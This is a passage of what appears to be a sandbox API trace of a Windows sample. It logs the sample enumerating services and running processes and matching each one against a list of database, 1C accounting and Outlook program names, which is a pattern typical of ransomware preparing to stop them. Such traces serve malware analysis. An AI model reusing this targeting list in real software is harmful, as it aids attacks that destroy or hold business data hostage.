(HeapHandle=0x6c0000, Flags=0x0, Size=0x123e) returned 0x4023080 [0049.524] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x123e, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0049.524] CloseServiceHandle (hSCObject=0x740060) returned 1 [0049.524] lstrlenW (lpString="Appinfo") returned 7 [0049.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.525] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.525] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.525] lstrlenW (lpString="AudioSrv") returned 8 [0049.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.525] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.525] lstrlenW (lpString="BFE") returned 3 [0049.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.525] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.525] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.525] lstrlenW (lpString="CryptSvc") returned 8 [0049.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.525] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.525] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.525] lstrlenW (lpString="CscService") returned 10 [0049.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0049.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0049.525] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0049.525] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0049.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0049.526] lstrlenW (lpString="DcomLaunch") returned 10 [0049.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0049.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0049.526] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0049.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0049.526] lstrlenW (lpString="Dhcp") returned 4 [0049.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0049.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0049.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0049.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0049.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0049.526] lstrlenW (lpString="Dnscache") returned 8 [0049.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0049.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0049.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0049.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0049.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0049.526] lstrlenW (lpString="DPS") returned 3 [0049.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0049.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0049.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0049.526] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0049.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0049.526] lstrlenW (lpString="eventlog") returned 8 [0049.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0049.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0049.526] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0049.526] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0049.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0049.526] lstrlenW (lpString="EventSystem") returned 11 [0049.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0049.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0049.526] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0049.526] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0049.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0049.527] lstrlenW (lpString="gpsvc") returned 5 [0049.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0049.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0049.527] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0049.527] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0049.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0049.527] lstrlenW (lpString="iphlpsvc") returned 8 [0049.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0049.527] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0049.527] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0049.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0049.527] lstrlenW (lpString="LanmanServer") returned 12 [0049.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0049.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0049.527] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0049.527] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0049.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0049.527] lstrlenW (lpString="LanmanWorkstation") returned 17 [0049.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0049.527] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0049.527] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0049.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0049.527] lstrlenW (lpString="lmhosts") returned 7 [0049.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0049.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0049.527] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0049.527] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0049.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0049.527] lstrlenW (lpString="MMCSS") returned 5 [0049.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0049.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0049.527] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0049.528] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0049.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0049.528] lstrlenW (lpString="MpsSvc") returned 6 [0049.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0049.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0049.528] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0049.528] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0049.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0049.528] lstrlenW (lpString="Netman") returned 6 [0049.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0049.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0049.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0049.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0049.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0049.528] lstrlenW (lpString="netprofm") returned 8 [0049.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0049.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0049.528] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0049.528] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0049.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0049.528] lstrlenW (lpString="NlaSvc") returned 6 [0049.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0049.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0049.528] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0049.528] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0049.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.528] lstrlenW (lpString="nsi") returned 3 [0049.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.528] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.528] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.528] lstrlenW (lpString="PcaSvc") returned 6 [0049.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.529] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.529] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.529] lstrlenW (lpString="PlugPlay") returned 8 [0049.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.529] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.529] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.529] lstrlenW (lpString="Power") returned 5 [0049.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.529] lstrlenW (lpString="ProfSvc") returned 7 [0049.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.529] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.529] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.529] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.529] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.529] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.529] lstrlenW (lpString="RpcSs") returned 5 [0049.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.529] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.529] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.529] lstrlenW (lpString="SamSs") returned 5 [0049.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.530] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.530] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.530] lstrlenW (lpString="Schedule") returned 8 [0049.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.530] lstrlenW (lpString="SENS") returned 4 [0049.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.530] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.530] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.530] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.530] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.530] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.530] lstrlenW (lpString="Spooler") returned 7 [0049.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.530] lstrlenW (lpString="SysMain") returned 7 [0049.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.530] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.530] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.530] lstrlenW (lpString="Themes") returned 6 [0049.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.531] lstrlenW (lpString="TrkWks") returned 6 [0049.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.531] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.531] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.531] lstrlenW (lpString="UxSms") returned 5 [0049.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.531] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.531] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.531] lstrlenW (lpString="VSS") returned 3 [0049.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.531] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.531] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.531] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.531] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.531] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.531] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.531] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.531] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.532] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.532] lstrlenW (lpString="Winmgmt") returned 7 [0049.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.532] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.532] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0049.532] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0049.534] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.535] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.535] lstrlenW (lpString="System") returned 6 [0049.536] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.536] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.536] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.536] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.536] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.536] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.536] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.536] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.536] lstrlenW (lpString="smss.exe") returned 8 [0049.536] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.536] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.536] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.536] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.536] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.536] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.536] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.536] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.537] lstrlenW (lpString="csrss.exe") returned 9 [0049.537] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.537] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.537] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.537] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.537] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.537] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.537] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.537] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.538] lstrlenW (lpString="wininit.exe") returned 11 [0049.538] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.538] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.538] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.538] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0049.538] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0049.538] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0049.538] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0049.538] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.538] lstrlenW (lpString="csrss.exe") returned 9 [0049.538] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.538] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.539] lstrlenW (lpString="winlogon.exe") returned 12 [0049.539] Process32NextW (in: hSnapshot=0x1f8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.539] 